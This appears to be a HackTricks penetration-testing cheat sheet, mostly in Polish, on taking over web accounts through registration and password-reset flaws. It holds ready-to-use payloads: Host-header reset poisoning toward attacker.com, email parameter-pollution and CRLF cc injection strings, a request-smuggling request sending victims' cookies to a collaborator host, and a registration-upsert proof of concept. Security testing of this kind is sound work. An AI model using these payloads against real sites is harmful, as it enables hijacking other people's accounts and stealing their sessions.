Rejestracja & luki umożliwiające przejęcie
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przejęcie przez rejestrację
Powtórna rejestracja
- Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
- Sprawdź różne warianty adresu email:
- wielkie litery
- +1@
- dodaj kropkę w adresie email
- znaki specjalne w części nazwy email (%00, %09, %20)
- Umieść białe znaki po adresie email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Username Enumeration
Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.
Polityka haseł
Podczas tworzenia użytkownika sprawdź politykę haseł (czy można użyć słabych haseł).
W takim przypadku możesz spróbować bruteforce'ować poświadczenia.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Zmiana adresu email
Po rejestracji spróbuj zmienić adres email i sprawdź, czy zmiana jest prawidłowo walidowana lub czy można ustawić dowolny adres.
Dodatkowe sprawdzenia
- Sprawdź, czy można używać disposable emails
- Długie hasło (>200) prowadzi do DoS
- Sprawdź ograniczenia częstotliwości (rate limits) przy tworzeniu kont
- Użyj username@burp_collab.net i analizuj callback
Przejęcie przez reset hasła
Password Reset Token Leak Via Referrer
- Zażądaj resetu hasła na swój adres email
- Kliknij w link resetu hasła
- Nie zmieniaj hasła
- Kliknij dowolną zewnętrzną stronę (np.: Facebook, twitter)
- Przechwyć żądanie w Burp Suite proxy
- Sprawdź, czy referer header is leaking password reset token.
Password Reset Poisoning
- Przechwyć żądanie resetu hasła w Burp Suite
- Dodaj lub edytuj następujące nagłówki w Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Prześlij żądanie z zmodyfikowanym nagłówkiem
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Szukaj URL resetu hasła opartego na host header jak :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR w parametrach API
- Atakujący musi zalogować się na swoje konto i przejść do funkcji Change password.
- Uruchom Burp Suite i przechwyć żądanie
- Wyślij je do zakładki repeater i edytuj parametry : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Słaby token do resetu hasła
Token do resetu hasła powinien być generowany losowo i być unikatowy za każdym razem.
Spróbuj określić, czy token wygasa, czy jest zawsze ten sam — w niektórych przypadkach algorytm generowania jest słaby i można go odgadnąć. Następujące zmienne mogą być wykorzystywane przez algorytm.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Wywołaj żądanie resetu hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com
- Zbadaj odpowiedź serwera i sprawdź, czy zawiera
resetToken
- Następnie użyj tokena w URL-u takim jak
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Zarejestruj konto w systemie z nazwą użytkownika identyczną jak nazwa ofiary, ale z dodatkowymi spacjami przed i/lub po nazwie. np.:
"admin "
- Zażądaj resetu hasła używając swojej złośliwej nazwy użytkownika.
- Użyj tokena wysłanego na Twój email i zresetuj hasło ofiary.
- Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Znajdź XSS w aplikacji lub subdomenie, jeśli cookies mają zakres do domeny nadrzędnej:
*.domain.com
- Leak bieżące sessions cookie
- Zautoryzuj się jako użytkownik, używając cookie
Account Takeover Via HTTP Request Smuggling
1. Użyj smuggler aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Sporządź żądanie, które nadpisze POST / HTTP/1.1
następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X:
z celem otwarcia redirectu ofiar do burpcollab i kradzieży ich cookies
3. Końcowe żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Przejęcie konta przez CSRF
- Stwórz payload dla CSRF, np.: “HTML form with auto submit for a password change”
- Wyślij payload
Przejęcie konta przez JWT
JSON Web Token might be used to authenticate an user.
- Edytuj JWT, podstawiając inny User ID / Email
- Sprawdź słabość sygnatury JWT
JWT Vulnerabilities (Json Web Tokens)
Rejestracja jako reset (Upsert on Existing Email)
Niektóre mechanizmy obsługi rejestracji wykonują upsert, gdy podany email już istnieje. Jeśli endpoint akceptuje minimalne body z email i password i nie wymusza weryfikacji własności, wysłanie emaila ofiary nadpisze jej hasło przed uwierzytelnieniem.
- Discovery: pozyskaj nazwy endpointów z bundled JS (lub ruchu aplikacji mobilnej), potem fuzzuj bazowe ścieżki takie jak /parents/application/v4/admin/FUZZ używając ffuf/dirsearch.
- Wskazówki: GET zwracający komunikaty typu "Only POST request is allowed." często wskazuje poprawną metodę i że oczekiwane jest JSON body.
- Minimalne body zaobserwowane in the wild:
{"email":"victim@example.com","password":"New@12345"}
Przykład PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Wpływ: Full Account Takeover (ATO) bez jakiegokolwiek reset token, OTP lub weryfikacji e-mail.
References
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.